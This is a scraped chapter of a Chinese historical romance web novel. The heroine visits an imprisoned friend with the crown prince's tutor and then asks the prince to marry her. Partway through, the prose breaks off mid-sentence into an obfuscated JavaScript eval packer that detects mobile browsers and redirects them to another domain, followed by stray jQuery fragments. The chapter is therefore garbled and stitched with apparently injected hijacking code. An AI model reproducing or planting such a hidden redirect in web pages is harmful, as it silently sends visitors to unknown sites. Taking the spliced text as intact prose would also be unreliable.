默认冷灰
24号文字
方正启体

3. 借势太子

作者:簌叶雨本书字数:K更新时间:
    棠絮晚是从榻边惊醒的。


    侍女香茉一早正常推门侍奉,就见她不省人事地倒在床榻边上,盛水的脸盆“呛啷”摔在地上,溅了一地的水花。


    巨大的声响入耳,棠絮晚混沌地睁开眼,几乎是本能地低声喝止住了香茉:“香茉,莫要喊人,我无事。”


    棠絮晚踉跄起身,香茉连忙去扶。


    焦急的关切在她耳边不断传来,她一句也没听进去。


    她昨晚做过什么?


    又……要做什么来着?


    棠絮晚有点忘了,她凭借直觉在怀中摸索,摸出了张潮湿褶皱的信纸。


    她通读一遍,在原地缓和片刻,消化半晌后转头看向香茉。


    “香茉,备水沐浴,今日出门。”


    沐浴梳妆后,棠絮晚就等在房中。昨日她开口求了太子,他必不会食言。


    晌午一过,太子亲卫果真来引她出宫。她披了件能遮住了大半个脑袋的深色大氅,听从安排安静跟从。


    马车驱架良久,终于停下。


    棠絮晚把她带来的人留在车上,独行下车。


    呼啸的北风打在外氅上,掀起她的衣帽,她眼前出现一名长身如玉的男子,继而对上他淡漠的眸子。


    视线相接的一瞬,她的视野一片模糊,许久才对上焦。


    这人是……太子少师,嵇泓。


    棠絮晚的脑中窜过一阵莫名的刺痛,她快速平息这份异常,适才惯性地行以一礼:“少师大人。”


    嵇泓猝而抬眸,眼神里掺着几分不解。


    棠絮晚没读懂嵇泓的异常,只觉这一眼令她心口空空,脑子更乱了。


    接引她的太子近卫对嵇泓说:“姑娘这就交予大人了。”


    嵇泓轻应,目光扫过身侧的棠絮晚,眼底几不可查地溜过一抹失落。


    诏狱的大门打开,阴风袭面而来,夹杂着血腥的臭味,冲击得棠絮晚一阵恶寒,她强忍着不适,跟着嵇泓踏入这一方人间炼狱。


    有了太子的安排,他们进入重兵把守的诏狱如入无人之境,行走的差兵个个变成了装聋作哑的沉朽木桩。


    权柄之利在此刻体现得淋漓尽致。


    狭窄的狱道容纳着前后叠错的脚步声,两侧尽是百态各异的囚徒,凶戾的眸子死死扒在她与嵇泓这两个不速之客身上。


    棠絮晚踏在潮湿的砖石上,一阵刺耳的铁链声拖拉靠近,浓重的血腥扑鼻而来,她还没看清眼前而来的是什么,携着竹叶香的衣袖先挡在了眼前。


    她还不待分辨这熟悉的香味曾在记忆的哪个角落里出现,贴靠过来的身影惊了她一跳,她惊慌后退半步,试图拉远她和嵇泓的距离。


    边退还边不忘疏离行礼:“少师大人,此举恐是不妥。”


    嵇泓:“……”


    他惊疑的眸色暗淡着,悬空遮挡的衣袖僵在半空,无措地不知是进是退。


    棠絮晚偏挪视线,却见僵滞的嵇泓又移动,拦住了即将染红她视线的一片血污,他向后偏头,冷声道:“折道。”


    听到少师大人发话,领路的狱卒即刻低斥:“速速换条路走听不见吗?此等污秽也敢前来冲撞。”


    一袖之隔,连声抱歉下铁链挣紧的声响明晰,素白的衣角落下,眼前已空无一人,独留尸体拖曳而过的冷血殷红,残忍地沁入砖石缝隙。


    嵇泓神色复杂地看着她,唇角微张,又纠结地抿住唇,转身继续前行。


    一番波折,她终于见到了姚覆沛。


    她快步疾行,双手抓在沟壑丛生的栏杆上:“姚姐姐。”


    姚覆沛看清了来人,仓皇迎上来:“絮晚?你怎么到了这里?”


    棠絮晚心疼地看着她,拉起她红到泛肿的手指往手心里放:“你的求助信送到我手里,我怎可袖手旁观?”


    姚覆沛缩回脏污的手:“我本不愿你掺到这些事情里来,但——”


    “不要但。”棠絮晚拉回姚覆沛的手掌,重新掖回手心,“这是我应做的。”


    她瞄了眼不远处的嵇泓,压低声音:“我已发信求援七封,此处特殊,我不知能否再进来,把你知晓的都告知于我,我定会竭力帮你。”


    此刻,姚覆沛也无路可选,她急速陈述了她仅知的信息。


    几日前,一个不知名的检举人向锦衣卫递呈了一份证据,说是一封昌宁八年平宁侯与前太子的往来书信,信笺的内容暂且不知。


    姚覆沛性命相胁逼问真相,平宁侯以祖上三代的门楣荣耀发誓绝无此事,她适才敢发信求救于棠絮晚。


    棠絮晚一敛柔色,沉静颔首:“可有旁人不知的关键消息说与我听?”


    姚覆沛眸光流转,拉紧棠絮晚的手掌,悄然遮蔽唇形,耳语向棠絮晚。


    棠絮晚唇线紧抿,神情愈发坚毅。


    不多时,身后等待的狱卒靠近。


    嵇泓冷冽的眼神横栏下他的脚步,那人躬身,谦卑拜下:“大人,平宁侯一案是圣上紧盯的要案,还烦请大人催促下娘子,莫要让大家都难办呐。”


    棠絮晚看得到一切,识趣地拉开与姚覆沛的距离。


    姚覆沛抬高些许声音,企图覆盖两人的密谋:“你且放心,我有武艺傍身,没那么脆弱,他日昭雪,定能重聚。”


    棠絮晚重重点点头,重新带上的衣帽遮住她的坚定,促使她又恢复了往日柔顺的模样。


    从诏狱出来,远离了闷窒的空气,棠絮晚心头的沉重却未舒半分,脚步也在不觉间缓下。


    嵇泓借势顿步:“姑娘挂心平宁侯一案,可否告知我刚才二位的谈话内容,若有线索,嵇某也可尽力追查。”


    棠絮晚警惕回神,柔媚的笑意立时挂上唇角:“大人说笑,是我担心姚姐姐身体,与她说些体己话罢了,我等女流之辈,怎可妄议前朝。”


    嵇泓反口驳斥:“女子又如何?”


    冷风拂过他狐裘下雪白的衣玦,衣带飘然而起。


    棠絮晚的假笑僵凝在面上,绷紧的防线塌了一角。


    这话,她好像是听过的,是在哪儿呢?她竟一时没想起来。


    “不如何。”棠絮晚避开话题,“今天多谢大人照拂,我且回去了。”


    她拢好外氅,毫无迟疑地转身,直奔马车而去。


    “等等。”嵇泓开口留人。


    棠絮晚回眸,帽檐遮住她的大半视野,嵇泓的表情也显得晦暗不清。


    那张唇微


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375797|184046||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    微翕动,终于还是吐出了那句疑问:“今日,为何不称我‘先生’?”


    “大人说笑了,我为何要称?”


    棠絮晚的回复理所当然,自然得如同她从未这么唤过旁人。


    嵇泓不解:“往日不皆是如此?”


    “往日?”棠絮晚迷惑蹙眉,微垂的眼尾略显紧绷,“我与大人哪有往日,大人切莫胡言,平白惹来诸多非议。”


    嵇泓眉间紧蹙:“你怎么了?”


    棠絮晚诘问回去:“倒是想问少师大人是怎么了,与我说这许多怪话。若是没旁的事,絮晚便退下了。”


    嵇泓前行半步,就要跟前,棠絮晚甩袖而去:“大人勿要跟来。”


    她快步上轿,吩咐道:“速回东宫。”


    马车扬长而去,溅起的雪渍落在嵇泓的衣袖边缘,沾染上不可忽视的泥垢。他缓缓收回指节,久久望着离去的车辙,不肯收眼。


    棠絮晚侧着身,放下支起的窗沿。


    她的头,又开始痛了。


    ——


    天色向晚,浓重的云色灰霭地压下,黑沉沉地落在东宫之上。


    细碎的雪花飘然而至,棠絮晚撑伞前行,石座琉璃灯的光晕打在她的鞋沿上,映照出零星雪屑,脚步一路延伸到偏殿。


    “殿下,絮晚求见。”


    萧荣晔的声音从殿内传来:“晚妹妹漏夜前来,所为何事?若是不急,明日再说吧。”


    棠絮晚等了一下午,自是不肯离开:“有事相商,还望殿下准允。”


    得到准许后,她收伞入殿。


    冷风倏地倒灌进殿,对流的空气夹击流窜,风熄火烛,光线幽微。


    萧荣晔不恼,温和道:“莫怕,孤叫人把灯掌上。”


    棠絮晚打断:“不必,殿下。臣女欲语僭越之言,若殿下不允,就凭着往日情分,且当这暗殿无人,可好?”


    萧荣晔的轻笑声伴着他的回应:“晚妹妹且说,我应了你便是。”


    棠絮晚于暗处行礼,嗓音化得轻且柔:“四年前,絮晚借住东宫之时,殿下戏说在你面前不必拘谨,往后愿护我余生,此话,絮晚如今可还能当真?”


    “砰——”


    空旷的偏殿中无端传来一声书折砸地的声音,惊了棠絮晚一跳。


    萧荣晔没听见似的,回复她说:“自是可以,皇权之下,从无戏言。”


    这话的语气无波无澜,棠絮晚没琢磨出任何除了字面以外的信息。


    这步险棋已下,她已无后退之路。


    棠絮晚缓步向前,指尖勾开领前固定裘袍的带子,沉甸甸地撞了一地。


    她缓缓抬起攥在掌心的一缕发丝,停在萧荣晔的一步之外,轻启朱唇:“留一缕青丝以赠,愿一隅得伴君侧。”


    她抬起如丝媚眼,与萧荣晔视线相撞:“不知太子殿下,可愿娶我?”


    “轰隆——”


    一声诡异的雪夜惊雷突兀炸开,劈亮了半个偏殿,映出两个人的面容。


    萧荣晔的身侧,一男子衣袖紧握,目光紧钉在棠絮晚身上,跌落在脚边的奏折散乱,撕裂着他一向平静的面容,泄露出失控的一角。


    这人,正是嵇泓。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)